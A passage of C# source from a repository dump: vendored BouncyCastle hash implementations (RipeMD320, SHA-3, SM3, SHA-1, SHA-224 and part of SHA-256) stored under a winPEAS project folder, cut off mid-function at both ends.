F4(d, e, a) + X[7] + unchecked((int)0x8f1bbcdc), 5) + b; e = RL(e, 10); b = RL(b + F4(c, d, e) + X[15] + unchecked((int)0x8f1bbcdc), 6) + a; d = RL(d, 10); a = RL(a + F4(b, c, d) + X[14] + unchecked((int)0x8f1bbcdc), 8) + e; c = RL(c, 10); e = RL(e + F4(a, b, c) + X[5] + unchecked((int)0x8f1bbcdc), 6) + d; b = RL(b, 10); d = RL(d + F4(e, a, b) + X[6] + unchecked((int)0x8f1bbcdc), 5) + c; a = RL(a, 10); c = RL(c + F4(d, e, a) + X[2] + unchecked((int)0x8f1bbcdc), 12) + b; e = RL(e, 10); // right cc = RL(cc + F2(dd, ee, aa) + X[8] + unchecked((int)0x7a6d76e9), 15) + bb; ee = RL(ee, 10); bb = RL(bb + F2(cc, dd, ee) + X[6] + unchecked((int)0x7a6d76e9), 5) + aa; dd = RL(dd, 10); aa = RL(aa + F2(bb, cc, dd) + X[4] + unchecked((int)0x7a6d76e9), 8) + ee; cc = RL(cc, 10); ee = RL(ee + F2(aa, bb, cc) + X[1] + unchecked((int)0x7a6d76e9), 11) + dd; bb = RL(bb, 10); dd = RL(dd + F2(ee, aa, bb) + X[3] + unchecked((int)0x7a6d76e9), 14) + cc; aa = RL(aa, 10); cc = RL(cc + F2(dd, ee, aa) + X[11] + unchecked((int)0x7a6d76e9), 14) + bb; ee = RL(ee, 10); bb = RL(bb + F2(cc, dd, ee) + X[15] + unchecked((int)0x7a6d76e9), 6) + aa; dd = RL(dd, 10); aa = RL(aa + F2(bb, cc, dd) + X[0] + unchecked((int)0x7a6d76e9), 14) + ee; cc = RL(cc, 10); ee = RL(ee + F2(aa, bb, cc) + X[5] + unchecked((int)0x7a6d76e9), 6) + dd; bb = RL(bb, 10); dd = RL(dd + F2(ee, aa, bb) + X[12] + unchecked((int)0x7a6d76e9), 9) + cc; aa = RL(aa, 10); cc = RL(cc + F2(dd, ee, aa) + X[2] + unchecked((int)0x7a6d76e9), 12) + bb; ee = RL(ee, 10); bb = RL(bb + F2(cc, dd, ee) + X[13] + unchecked((int)0x7a6d76e9), 9) + aa; dd = RL(dd, 10); aa = RL(aa + F2(bb, cc, dd) + X[9] + unchecked((int)0x7a6d76e9), 12) + ee; cc = RL(cc, 10); ee = RL(ee + F2(aa, bb, cc) + X[7] + unchecked((int)0x7a6d76e9), 5) + dd; bb = RL(bb, 10); dd = RL(dd + F2(ee, aa, bb) + X[10] + unchecked((int)0x7a6d76e9), 15) + cc; aa = RL(aa, 10); cc = RL(cc + F2(dd, ee, aa) + X[14] + unchecked((int)0x7a6d76e9), 8) + bb; ee = RL(ee, 10); t = d; d = dd; dd = t; // // Rounds 64-79 // // left b = RL(b + F5(c, d, e) + X[4] + unchecked((int)0xa953fd4e), 9) + a; d = RL(d, 10); a = RL(a + F5(b, c, d) + X[0] + unchecked((int)0xa953fd4e), 15) + e; c = RL(c, 10); e = RL(e + F5(a, b, c) + X[5] + unchecked((int)0xa953fd4e), 5) + d; b = RL(b, 10); d = RL(d + F5(e, a, b) + X[9] + unchecked((int)0xa953fd4e), 11) + c; a = RL(a, 10); c = RL(c + F5(d, e, a) + X[7] + unchecked((int)0xa953fd4e), 6) + b; e = RL(e, 10); b = RL(b + F5(c, d, e) + X[12] + unchecked((int)0xa953fd4e), 8) + a; d = RL(d, 10); a = RL(a + F5(b, c, d) + X[2] + unchecked((int)0xa953fd4e), 13) + e; c = RL(c, 10); e = RL(e + F5(a, b, c) + X[10] + unchecked((int)0xa953fd4e), 12) + d; b = RL(b, 10); d = RL(d + F5(e, a, b) + X[14] + unchecked((int)0xa953fd4e), 5) + c; a = RL(a, 10); c = RL(c + F5(d, e, a) + X[1] + unchecked((int)0xa953fd4e), 12) + b; e = RL(e, 10); b = RL(b + F5(c, d, e) + X[3] + unchecked((int)0xa953fd4e), 13) + a; d = RL(d, 10); a = RL(a + F5(b, c, d) + X[8] + unchecked((int)0xa953fd4e), 14) + e; c = RL(c, 10); e = RL(e + F5(a, b, c) + X[11] + unchecked((int)0xa953fd4e), 11) + d; b = RL(b, 10); d = RL(d + F5(e, a, b) + X[6] + unchecked((int)0xa953fd4e), 8) + c; a = RL(a, 10); c = RL(c + F5(d, e, a) + X[15] + unchecked((int)0xa953fd4e), 5) + b; e = RL(e, 10); b = RL(b + F5(c, d, e) + X[13] + unchecked((int)0xa953fd4e), 6) + a; d = RL(d, 10); // right bb = RL(bb + F1(cc, dd, ee) + X[12], 8) + aa; dd = RL(dd, 10); aa = RL(aa + F1(bb, cc, dd) + X[15], 5) + ee; cc = RL(cc, 10); ee = RL(ee + F1(aa, bb, cc) + X[10], 12) + dd; bb = RL(bb, 10); dd = RL(dd + F1(ee, aa, bb) + X[4], 9) + cc; aa = RL(aa, 10); cc = RL(cc + F1(dd, ee, aa) + X[1], 12) + bb; ee = RL(ee, 10); bb = RL(bb + F1(cc, dd, ee) + X[5], 5) + aa; dd = RL(dd, 10); aa = RL(aa + F1(bb, cc, dd) + X[8], 14) + ee; cc = RL(cc, 10); ee = RL(ee + F1(aa, bb, cc) + X[7], 6) + dd; bb = RL(bb, 10); dd = RL(dd + F1(ee, aa, bb) + X[6], 8) + cc; aa = RL(aa, 10); cc = RL(cc + F1(dd, ee, aa) + X[2], 13) + bb; ee = RL(ee, 10); bb = RL(bb + F1(cc, dd, ee) + X[13], 6) + aa; dd = RL(dd, 10); aa = RL(aa + F1(bb, cc, dd) + X[14], 5) + ee; cc = RL(cc, 10); ee = RL(ee + F1(aa, bb, cc) + X[0], 15) + dd; bb = RL(bb, 10); dd = RL(dd + F1(ee, aa, bb) + X[3], 13) + cc; aa = RL(aa, 10); cc = RL(cc + F1(dd, ee, aa) + X[9], 11) + bb; ee = RL(ee, 10); bb = RL(bb + F1(cc, dd, ee) + X[11], 11) + aa; dd = RL(dd, 10); // // do (e, ee) swap as part of assignment. // H0 += a; H1 += b; H2 += c; H3 += d; H4 += ee; H5 += aa; H6 += bb; H7 += cc; H8 += dd; H9 += e; // // reset the offset and clean out the word buffer. // xOff = 0; for (int i = 0; i != X.Length; i++) { X[i] = 0; } } public override IMemoable Copy() { return new RipeMD320Digest(this); } public override void Reset(IMemoable other) { RipeMD320Digest d = (RipeMD320Digest)other; CopyIn(d); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/crypto/digests/SHA3Digest.cs ================================================ using System; using System.Diagnostics; using winPEAS._3rdParty.BouncyCastle.util; namespace winPEAS._3rdParty.BouncyCastle.crypto.digests { /// /// Implementation of SHA-3 based on following KeccakNISTInterface.c from http://keccak.noekeon.org/ /// /// /// Following the naming conventions used in the C source code to enable easy review of the implementation. /// public class Sha3Digest : KeccakDigest { private static int CheckBitLength(int bitLength) { switch (bitLength) { case 224: case 256: case 384: case 512: return bitLength; default: throw new ArgumentException(bitLength + " not supported for SHA-3", "bitLength"); } } public Sha3Digest() : this(256) { } public Sha3Digest(int bitLength) : base(CheckBitLength(bitLength)) { } public Sha3Digest(Sha3Digest source) : base(source) { } public override string AlgorithmName { get { return "SHA3-" + fixedOutputLength; } } public override int DoFinal(byte[] output, int outOff) { AbsorbBits(0x02, 2); return base.DoFinal(output, outOff); } /* * TODO Possible API change to support partial-byte suffixes. */ protected override int DoFinal(byte[] output, int outOff, byte partialByte, int partialBits) { if (partialBits < 0 || partialBits > 7) throw new ArgumentException("must be in the range [0,7]", "partialBits"); int finalInput = (partialByte & ((1 << partialBits) - 1)) | (0x02 << partialBits); Debug.Assert(finalInput >= 0); int finalBits = partialBits + 2; if (finalBits >= 8) { Absorb((byte)finalInput); finalBits -= 8; finalInput >>= 8; } return base.DoFinal(output, outOff, (byte)finalInput, finalBits); } public override IMemoable Copy() { return new Sha3Digest(this); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/crypto/digests/SM3Digest.cs ================================================ using System; using winPEAS._3rdParty.BouncyCastle.crypto.util; using winPEAS._3rdParty.BouncyCastle.util; namespace winPEAS._3rdParty.BouncyCastle.crypto.digests { /// /// Implementation of Chinese SM3 digest as described at /// http://tools.ietf.org/html/draft-shen-sm3-hash-00 /// and at .... ( Chinese PDF ) /// /// /// The specification says "process a bit stream", /// but this is written to process bytes in blocks of 4, /// meaning this will process 32-bit word groups. /// But so do also most other digest specifications, /// including the SHA-256 which was a origin for /// this specification. /// public class SM3Digest : GeneralDigest { private const int DIGEST_LENGTH = 32; // bytes private const int BLOCK_SIZE = 64 / 4; // of 32 bit ints (16 ints) private uint[] V = new uint[DIGEST_LENGTH / 4]; // in 32 bit ints (8 ints) private uint[] inwords = new uint[BLOCK_SIZE]; private int xOff; // Work-bufs used within processBlock() private uint[] W = new uint[68]; // Round constant T for processBlock() which is 32 bit integer rolled left up to (63 MOD 32) bit positions. private static readonly uint[] T = new uint[64]; static SM3Digest() { for (int i = 0; i < 16; ++i) { uint t = 0x79CC4519; T[i] = (t << i) | (t >> (32 - i)); } for (int i = 16; i < 64; ++i) { int n = i % 32; uint t = 0x7A879D8A; T[i] = (t << n) | (t >> (32 - n)); } } /// /// Standard constructor /// public SM3Digest() { Reset(); } /// /// Copy constructor. This will copy the state of the provided /// message digest. /// public SM3Digest(SM3Digest t) : base(t) { CopyIn(t); } private void CopyIn(SM3Digest t) { Array.Copy(t.V, 0, this.V, 0, this.V.Length); Array.Copy(t.inwords, 0, this.inwords, 0, this.inwords.Length); xOff = t.xOff; } public override string AlgorithmName { get { return "SM3"; } } public override int GetDigestSize() { return DIGEST_LENGTH; } public override IMemoable Copy() { return new SM3Digest(this); } public override void Reset(IMemoable other) { SM3Digest d = (SM3Digest)other; base.CopyIn(d); CopyIn(d); } /// /// reset the chaining variables /// public override void Reset() { base.Reset(); this.V[0] = 0x7380166F; this.V[1] = 0x4914B2B9; this.V[2] = 0x172442D7; this.V[3] = 0xDA8A0600; this.V[4] = 0xA96F30BC; this.V[5] = 0x163138AA; this.V[6] = 0xE38DEE4D; this.V[7] = 0xB0FB0E4E; this.xOff = 0; } public override int DoFinal(byte[] output, int outOff) { Finish(); Pack.UInt32_To_BE(V, output, outOff); Reset(); return DIGEST_LENGTH; } internal override void ProcessWord(byte[] input, int inOff) { uint n = Pack.BE_To_UInt32(input, inOff); this.inwords[this.xOff] = n; ++this.xOff; if (this.xOff >= 16) { ProcessBlock(); } } internal override void ProcessLength(long bitLength) { if (this.xOff > (BLOCK_SIZE - 2)) { // xOff == 15 --> can't fit the 64 bit length field at tail.. this.inwords[this.xOff] = 0; // fill with zero ++this.xOff; ProcessBlock(); } // Fill with zero words, until reach 2nd to last slot while (this.xOff < (BLOCK_SIZE - 2)) { this.inwords[this.xOff] = 0; ++this.xOff; } // Store input data length in BITS this.inwords[this.xOff++] = (uint)(bitLength >> 32); this.inwords[this.xOff++] = (uint)(bitLength); } /* 3.4.2. Constants Tj = 79cc4519 when 0 < = j < = 15 Tj = 7a879d8a when 16 < = j < = 63 3.4.3. Boolean function FFj(X;Y;Z) = X XOR Y XOR Z when 0 < = j < = 15 = (X AND Y) OR (X AND Z) OR (Y AND Z) when 16 < = j < = 63 GGj(X;Y;Z) = X XOR Y XOR Z when 0 < = j < = 15 = (X AND Y) OR (NOT X AND Z) when 16 < = j < = 63 The X, Y, Z in the fomular are words!GBP 3.4.4. Permutation function P0(X) = X XOR (X <<< 9) XOR (X <<< 17) ## ROLL, not SHIFT P1(X) = X XOR (X <<< 15) XOR (X <<< 23) ## ROLL, not SHIFT The X in the fomular are a word. ---------- Each ROLL converted to Java expression: ROLL 9 : ((x << 9) | (x >> (32-9)))) ROLL 17 : ((x << 17) | (x >> (32-17))) ROLL 15 : ((x << 15) | (x >> (32-15))) ROLL 23 : ((x << 23) | (x >> (32-23))) */ private uint P0(uint x) { uint r9 = ((x << 9) | (x >> (32 - 9))); uint r17 = ((x << 17) | (x >> (32 - 17))); return (x ^ r9 ^ r17); } private uint P1(uint x) { uint r15 = ((x << 15) | (x >> (32 - 15))); uint r23 = ((x << 23) | (x >> (32 - 23))); return (x ^ r15 ^ r23); } private uint FF0(uint x, uint y, uint z) { return (x ^ y ^ z); } private uint FF1(uint x, uint y, uint z) { return ((x & y) | (x & z) | (y & z)); } private uint GG0(uint x, uint y, uint z) { return (x ^ y ^ z); } private uint GG1(uint x, uint y, uint z) { return ((x & y) | ((~x) & z)); } internal override void ProcessBlock() { for (int j = 0; j < 16; ++j) { this.W[j] = this.inwords[j]; } for (int j = 16; j < 68; ++j) { uint wj3 = this.W[j - 3]; uint r15 = ((wj3 << 15) | (wj3 >> (32 - 15))); uint wj13 = this.W[j - 13]; uint r7 = ((wj13 << 7) | (wj13 >> (32 - 7))); this.W[j] = P1(this.W[j - 16] ^ this.W[j - 9] ^ r15) ^ r7 ^ this.W[j - 6]; } uint A = this.V[0]; uint B = this.V[1]; uint C = this.V[2]; uint D = this.V[3]; uint E = this.V[4]; uint F = this.V[5]; uint G = this.V[6]; uint H = this.V[7]; for (int j = 0; j < 16; ++j) { uint a12 = ((A << 12) | (A >> (32 - 12))); uint s1_ = a12 + E + T[j]; uint SS1 = ((s1_ << 7) | (s1_ >> (32 - 7))); uint SS2 = SS1 ^ a12; uint Wj = W[j]; uint W1j = Wj ^ W[j + 4]; uint TT1 = FF0(A, B, C) + D + SS2 + W1j; uint TT2 = GG0(E, F, G) + H + SS1 + Wj; D = C; C = ((B << 9) | (B >> (32 - 9))); B = A; A = TT1; H = G; G = ((F << 19) | (F >> (32 - 19))); F = E; E = P0(TT2); } // Different FF,GG functions on rounds 16..63 for (int j = 16; j < 64; ++j) { uint a12 = ((A << 12) | (A >> (32 - 12))); uint s1_ = a12 + E + T[j]; uint SS1 = ((s1_ << 7) | (s1_ >> (32 - 7))); uint SS2 = SS1 ^ a12; uint Wj = W[j]; uint W1j = Wj ^ W[j + 4]; uint TT1 = FF1(A, B, C) + D + SS2 + W1j; uint TT2 = GG1(E, F, G) + H + SS1 + Wj; D = C; C = ((B << 9) | (B >> (32 - 9))); B = A; A = TT1; H = G; G = ((F << 19) | (F >> (32 - 19))); F = E; E = P0(TT2); } this.V[0] ^= A; this.V[1] ^= B; this.V[2] ^= C; this.V[3] ^= D; this.V[4] ^= E; this.V[5] ^= F; this.V[6] ^= G; this.V[7] ^= H; this.xOff = 0; } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/crypto/digests/Sha1Digest.cs ================================================ using System; using winPEAS._3rdParty.BouncyCastle.crypto.util; using winPEAS._3rdParty.BouncyCastle.util; namespace winPEAS._3rdParty.BouncyCastle.crypto.digests { /** * implementation of SHA-1 as outlined in "Handbook of Applied Cryptography", pages 346 - 349. * * It is interesting to ponder why the, apart from the extra IV, the other difference here from MD5 * is the "endianness" of the word processing! */ public class Sha1Digest : GeneralDigest { private const int DigestLength = 20; private uint H1, H2, H3, H4, H5; private uint[] X = new uint[80]; private int xOff; public Sha1Digest() { Reset(); } /** * Copy constructor. This will copy the state of the provided * message digest. */ public Sha1Digest(Sha1Digest t) : base(t) { CopyIn(t); } private void CopyIn(Sha1Digest t) { base.CopyIn(t); H1 = t.H1; H2 = t.H2; H3 = t.H3; H4 = t.H4; H5 = t.H5; Array.Copy(t.X, 0, X, 0, t.X.Length); xOff = t.xOff; } public override string AlgorithmName { get { return "SHA-1"; } } public override int GetDigestSize() { return DigestLength; } internal override void ProcessWord( byte[] input, int inOff) { X[xOff] = Pack.BE_To_UInt32(input, inOff); if (++xOff == 16) { ProcessBlock(); } } internal override void ProcessLength(long bitLength) { if (xOff > 14) { ProcessBlock(); } X[14] = (uint)((ulong)bitLength >> 32); X[15] = (uint)((ulong)bitLength); } public override int DoFinal( byte[] output, int outOff) { Finish(); Pack.UInt32_To_BE(H1, output, outOff); Pack.UInt32_To_BE(H2, output, outOff + 4); Pack.UInt32_To_BE(H3, output, outOff + 8); Pack.UInt32_To_BE(H4, output, outOff + 12); Pack.UInt32_To_BE(H5, output, outOff + 16); Reset(); return DigestLength; } /** * reset the chaining variables */ public override void Reset() { base.Reset(); H1 = 0x67452301; H2 = 0xefcdab89; H3 = 0x98badcfe; H4 = 0x10325476; H5 = 0xc3d2e1f0; xOff = 0; Array.Clear(X, 0, X.Length); } // // Additive constants // private const uint Y1 = 0x5a827999; private const uint Y2 = 0x6ed9eba1; private const uint Y3 = 0x8f1bbcdc; private const uint Y4 = 0xca62c1d6; private static uint F(uint u, uint v, uint w) { return (u & v) | (~u & w); } private static uint H(uint u, uint v, uint w) { return u ^ v ^ w; } private static uint G(uint u, uint v, uint w) { return (u & v) | (u & w) | (v & w); } internal override void ProcessBlock() { // // expand 16 word block into 80 word block. // for (int i = 16; i < 80; i++) { uint t = X[i - 3] ^ X[i - 8] ^ X[i - 14] ^ X[i - 16]; X[i] = t << 1 | t >> 31; } // // set up working variables. // uint A = H1; uint B = H2; uint C = H3; uint D = H4; uint E = H5; // // round 1 // int idx = 0; for (int j = 0; j < 4; j++) { // E = rotateLeft(A, 5) + F(B, C, D) + E + X[idx++] + Y1 // B = rotateLeft(B, 30) E += (A << 5 | (A >> 27)) + F(B, C, D) + X[idx++] + Y1; B = B << 30 | (B >> 2); D += (E << 5 | (E >> 27)) + F(A, B, C) + X[idx++] + Y1; A = A << 30 | (A >> 2); C += (D << 5 | (D >> 27)) + F(E, A, B) + X[idx++] + Y1; E = E << 30 | (E >> 2); B += (C << 5 | (C >> 27)) + F(D, E, A) + X[idx++] + Y1; D = D << 30 | (D >> 2); A += (B << 5 | (B >> 27)) + F(C, D, E) + X[idx++] + Y1; C = C << 30 | (C >> 2); } // // round 2 // for (int j = 0; j < 4; j++) { // E = rotateLeft(A, 5) + H(B, C, D) + E + X[idx++] + Y2 // B = rotateLeft(B, 30) E += (A << 5 | (A >> 27)) + H(B, C, D) + X[idx++] + Y2; B = B << 30 | (B >> 2); D += (E << 5 | (E >> 27)) + H(A, B, C) + X[idx++] + Y2; A = A << 30 | (A >> 2); C += (D << 5 | (D >> 27)) + H(E, A, B) + X[idx++] + Y2; E = E << 30 | (E >> 2); B += (C << 5 | (C >> 27)) + H(D, E, A) + X[idx++] + Y2; D = D << 30 | (D >> 2); A += (B << 5 | (B >> 27)) + H(C, D, E) + X[idx++] + Y2; C = C << 30 | (C >> 2); } // // round 3 // for (int j = 0; j < 4; j++) { // E = rotateLeft(A, 5) + G(B, C, D) + E + X[idx++] + Y3 // B = rotateLeft(B, 30) E += (A << 5 | (A >> 27)) + G(B, C, D) + X[idx++] + Y3; B = B << 30 | (B >> 2); D += (E << 5 | (E >> 27)) + G(A, B, C) + X[idx++] + Y3; A = A << 30 | (A >> 2); C += (D << 5 | (D >> 27)) + G(E, A, B) + X[idx++] + Y3; E = E << 30 | (E >> 2); B += (C << 5 | (C >> 27)) + G(D, E, A) + X[idx++] + Y3; D = D << 30 | (D >> 2); A += (B << 5 | (B >> 27)) + G(C, D, E) + X[idx++] + Y3; C = C << 30 | (C >> 2); } // // round 4 // for (int j = 0; j < 4; j++) { // E = rotateLeft(A, 5) + H(B, C, D) + E + X[idx++] + Y4 // B = rotateLeft(B, 30) E += (A << 5 | (A >> 27)) + H(B, C, D) + X[idx++] + Y4; B = B << 30 | (B >> 2); D += (E << 5 | (E >> 27)) + H(A, B, C) + X[idx++] + Y4; A = A << 30 | (A >> 2); C += (D << 5 | (D >> 27)) + H(E, A, B) + X[idx++] + Y4; E = E << 30 | (E >> 2); B += (C << 5 | (C >> 27)) + H(D, E, A) + X[idx++] + Y4; D = D << 30 | (D >> 2); A += (B << 5 | (B >> 27)) + H(C, D, E) + X[idx++] + Y4; C = C << 30 | (C >> 2); } H1 += A; H2 += B; H3 += C; H4 += D; H5 += E; // // reset start of the buffer. // xOff = 0; Array.Clear(X, 0, 16); } public override IMemoable Copy() { return new Sha1Digest(this); } public override void Reset(IMemoable other) { Sha1Digest d = (Sha1Digest)other; CopyIn(d); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/crypto/digests/Sha224Digest.cs ================================================ using System; using winPEAS._3rdParty.BouncyCastle.crypto.util; using winPEAS._3rdParty.BouncyCastle.util; namespace winPEAS._3rdParty.BouncyCastle.crypto.digests { /** * SHA-224 as described in RFC 3874 *
         *         block  word  digest
         * SHA-1   512    32    160
         * SHA-224 512    32    224
         * SHA-256 512    32    256
         * SHA-384 1024   64    384
         * SHA-512 1024   64    512
         * 
    */ public class Sha224Digest : GeneralDigest { private const int DigestLength = 28; private uint H1, H2, H3, H4, H5, H6, H7, H8; private uint[] X = new uint[64]; private int xOff; /** * Standard constructor */ public Sha224Digest() { Reset(); } /** * Copy constructor. This will copy the state of the provided * message digest. */ public Sha224Digest( Sha224Digest t) : base(t) { CopyIn(t); } private void CopyIn(Sha224Digest t) { base.CopyIn(t); H1 = t.H1; H2 = t.H2; H3 = t.H3; H4 = t.H4; H5 = t.H5; H6 = t.H6; H7 = t.H7; H8 = t.H8; Array.Copy(t.X, 0, X, 0, t.X.Length); xOff = t.xOff; } public override string AlgorithmName { get { return "SHA-224"; } } public override int GetDigestSize() { return DigestLength; } internal override void ProcessWord( byte[] input, int inOff) { X[xOff] = Pack.BE_To_UInt32(input, inOff); if (++xOff == 16) { ProcessBlock(); } } internal override void ProcessLength( long bitLength) { if (xOff > 14) { ProcessBlock(); } X[14] = (uint)((ulong)bitLength >> 32); X[15] = (uint)((ulong)bitLength); } public override int DoFinal( byte[] output, int outOff) { Finish(); Pack.UInt32_To_BE(H1, output, outOff); Pack.UInt32_To_BE(H2, output, outOff + 4); Pack.UInt32_To_BE(H3, output, outOff + 8); Pack.UInt32_To_BE(H4, output, outOff + 12); Pack.UInt32_To_BE(H5, output, outOff + 16); Pack.UInt32_To_BE(H6, output, outOff + 20); Pack.UInt32_To_BE(H7, output, outOff + 24); Reset(); return DigestLength; } /** * reset the chaining variables */ public override void Reset() { base.Reset(); /* SHA-224 initial hash value */ H1 = 0xc1059ed8; H2 = 0x367cd507; H3 = 0x3070dd17; H4 = 0xf70e5939; H5 = 0xffc00b31; H6 = 0x68581511; H7 = 0x64f98fa7; H8 = 0xbefa4fa4; xOff = 0; Array.Clear(X, 0, X.Length); } internal override void ProcessBlock() { // // expand 16 word block into 64 word blocks. // for (int ti = 16; ti <= 63; ti++) { X[ti] = Theta1(X[ti - 2]) + X[ti - 7] + Theta0(X[ti - 15]) + X[ti - 16]; } // // set up working variables. // uint a = H1; uint b = H2; uint c = H3; uint d = H4; uint e = H5; uint f = H6; uint g = H7; uint h = H8; int t = 0; for(int i = 0; i < 8; i ++) { // t = 8 * i h += Sum1(e) + Ch(e, f, g) + K[t] + X[t]; d += h; h += Sum0(a) + Maj(a, b, c); ++t; // t = 8 * i + 1 g += Sum1(d) + Ch(d, e, f) + K[t] + X[t]; c += g; g += Sum0(h) + Maj(h, a, b); ++t; // t = 8 * i + 2 f += Sum1(c) + Ch(c, d, e) + K[t] + X[t]; b += f; f += Sum0(g) + Maj(g, h, a); ++t; // t = 8 * i + 3 e += Sum1(b) + Ch(b, c, d) + K[t] + X[t]; a += e; e += Sum0(f) + Maj(f, g, h); ++t; // t = 8 * i + 4 d += Sum1(a) + Ch(a, b, c) + K[t] + X[t]; h += d; d += Sum0(e) + Maj(e, f, g); ++t; // t = 8 * i + 5 c += Sum1(h) + Ch(h, a, b) + K[t] + X[t]; g += c; c += Sum0(d) + Maj(d, e, f); ++t; // t = 8 * i + 6 b += Sum1(g) + Ch(g, h, a) + K[t] + X[t]; f += b; b += Sum0(c) + Maj(c, d, e); ++t; // t = 8 * i + 7 a += Sum1(f) + Ch(f, g, h) + K[t] + X[t]; e += a; a += Sum0(b) + Maj(b, c, d); ++t; } H1 += a; H2 += b; H3 += c; H4 += d; H5 += e; H6 += f; H7 += g; H8 += h; // // reset the offset and clean out the word buffer. // xOff = 0; Array.Clear(X, 0, 16); } /* SHA-224 functions */ private static uint Ch(uint x, uint y, uint z) { return (x & y) ^ (~x & z); } private static uint Maj(uint x, uint y, uint z) { return (x & y) ^ (x & z) ^ (y & z); } private static uint Sum0(uint x) { return ((x >> 2) | (x << 30)) ^ ((x >> 13) | (x << 19)) ^ ((x >> 22) | (x << 10)); } private static uint Sum1(uint x) { return ((x >> 6) | (x << 26)) ^ ((x >> 11) | (x << 21)) ^ ((x >> 25) | (x << 7)); } private static uint Theta0(uint x) { return ((x >> 7) | (x << 25)) ^ ((x >> 18) | (x << 14)) ^ (x >> 3); } private static uint Theta1(uint x) { return ((x >> 17) | (x << 15)) ^ ((x >> 19) | (x << 13)) ^ (x >> 10); } /* SHA-224 Constants * (represent the first 32 bits of the fractional parts of the * cube roots of the first sixty-four prime numbers) */ internal static readonly uint[] K = { 0x428a2f98, 0x71374491, 0xb5c0fbcf, 0xe9b5dba5, 0x3956c25b, 0x59f111f1, 0x923f82a4, 0xab1c5ed5, 0xd807aa98, 0x12835b01, 0x243185be, 0x550c7dc3, 0x72be5d74, 0x80deb1fe, 0x9bdc06a7, 0xc19bf174, 0xe49b69c1, 0xefbe4786, 0x0fc19dc6, 0x240ca1cc, 0x2de92c6f, 0x4a7484aa, 0x5cb0a9dc, 0x76f988da, 0x983e5152, 0xa831c66d, 0xb00327c8, 0xbf597fc7, 0xc6e00bf3, 0xd5a79147, 0x06ca6351, 0x14292967, 0x27b70a85, 0x2e1b2138, 0x4d2c6dfc, 0x53380d13, 0x650a7354, 0x766a0abb, 0x81c2c92e, 0x92722c85, 0xa2bfe8a1, 0xa81a664b, 0xc24b8b70, 0xc76c51a3, 0xd192e819, 0xd6990624, 0xf40e3585, 0x106aa070, 0x19a4c116, 0x1e376c08, 0x2748774c, 0x34b0bcb5, 0x391c0cb3, 0x4ed8aa4a, 0x5b9cca4f, 0x682e6ff3, 0x748f82ee, 0x78a5636f, 0x84c87814, 0x8cc70208, 0x90befffa, 0xa4506ceb, 0xbef9a3f7, 0xc67178f2 }; public override IMemoable Copy() { return new Sha224Digest(this); } public override void Reset(IMemoable other) { Sha224Digest d = (Sha224Digest)other; CopyIn(d); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/crypto/digests/Sha256Digest.cs ================================================ using System; using winPEAS._3rdParty.BouncyCastle.crypto.util; using winPEAS._3rdParty.BouncyCastle.util; namespace winPEAS._3rdParty.BouncyCastle.crypto.digests { /** * Draft FIPS 180-2 implementation of SHA-256. Note: As this is * based on a draft this implementation is subject to change. * *
        *         block  word  digest
        * SHA-1   512    32    160
        * SHA-256 512    32    256
        * SHA-384 1024   64    384
        * SHA-512 1024   64    512
        * 
    */ public class Sha256Digest : GeneralDigest { private const int DigestLength = 32; private uint H1, H2, H3, H4, H5, H6, H7, H8; private uint[] X = new uint[64]; private int xOff; public Sha256Digest() { initHs(); } /** * Copy constructor. This will copy the state of the provided * message digest. */ public Sha256Digest(Sha256Digest t) : base(t) { CopyIn(t); } private void CopyIn(Sha256Digest t) { base.CopyIn(t); H1 = t.H1; H2 = t.H2; H3 = t.H3; H4 = t.H4; H5 = t.H5; H6 = t.H6; H7 = t.H7; H8 = t.H8; Array.Copy(t.X, 0, X, 0, t.X.Length); xOff = t.xOff; } public override string AlgorithmName { get { return "SHA-256"; } } public override int GetDigestSize() { return DigestLength; } internal override void ProcessWord( byte[] input, int inOff) { X[xOff] = Pack.BE_To_UInt32(input, inOff); if (++xOff == 16) { ProcessBlock(); } } internal override void ProcessLength( long bitLength) { if (xOff > 14) { ProcessBlock(); } X[14] = (uint)((ulong)bitLength >> 32); X[15] = (uint)((ulong)bitLength); } public override int DoFinal( byte[] output, int outOff) { Finish(); Pack.UInt32_To_BE((uint)H1, output, outOff); Pack.UInt32_To_BE((uint)H2, output, outOff + 4); Pack.UInt32_To_BE((uint)H3, output, outOff + 8); Pack.UInt32_To_BE((uint)H4, output, outOff + 12); Pack.UInt32_To_BE((uint)H5, output, outOff + 16); Pack.UInt32_To_BE((uint)H6, output, outOff + 20); Pack.UInt32_To_BE((uint)H7, output, outOff + 24); Pack.UInt32_To_BE((uint)H8, output, outOff + 28); Reset(); return DigestLength; } /** * reset the chaining variables */ public override void Reset() { base.Reset(); initHs(); xOff = 0; Array.Clear(X, 0, X.Length); } private void initHs() { /* SHA-256 initial hash value * The first 32 bits of the fractional parts of the square roots * of the first eight prime numbers */ H1 = 0x6a09e667; H2 = 0xbb67ae85; H3 = 0x3c6ef372; H4 = 0xa54ff53a; H5 = 0x510e527f; H6 = 0x9b05688c; H7 = 0x1f83d9ab; H8 = 0x5be0cd19; } internal override void ProcessBlock() { // // expand 16 word block into 64 word blocks. // for (int ti = 16; ti <= 63; ti++) { X[ti] = Theta1(X[ti - 2]) + X[ti - 7] + Theta0(X[ti - 15]) + X[ti - 16]; } // // set up working variables. // uint a = H1; uint b = H2; uint c = H3; uint d = H4; uint e = H5; uint f = H6; uint g = H7; uint h = H8; int t = 0; for(int i = 0; i < 8; ++i) { // t = 8 * i h += Sum1Ch(e, f, g) + K[t] + X[t]; d += h; h += Sum0Maj(a, b, c); ++t; // t = 8 * i + 1 g += Sum1Ch(d, e, f) + K[t] + X[t]; c += g; g += Sum0Maj(h, a, b); ++t; // t = 8 * i + 2 f += Sum1Ch(c, d, e) + K[t] + X[t]; b += f; f += Sum0Maj(g, h, a); ++t; // t = 8 * i + 3 e += Sum1Ch(b, c, d) + K[t] + X[t]; a += e; e += Sum0Maj(f, g, h); ++t; // t = 8 * i + 4 d += Sum1Ch(a, b, c) + K[t] + X[t]; h += d; d += Sum0Maj(e, f, g); ++t; // t = 8 * i + 5 c += Sum1Ch(h, a, b) + K[t] + X[t]; g += c; c += Sum0Maj(d, e, f); ++t; // t = 8 * i + 6 b += Sum1Ch(g, h, a) + K[t] + X[t]; f += b; b += 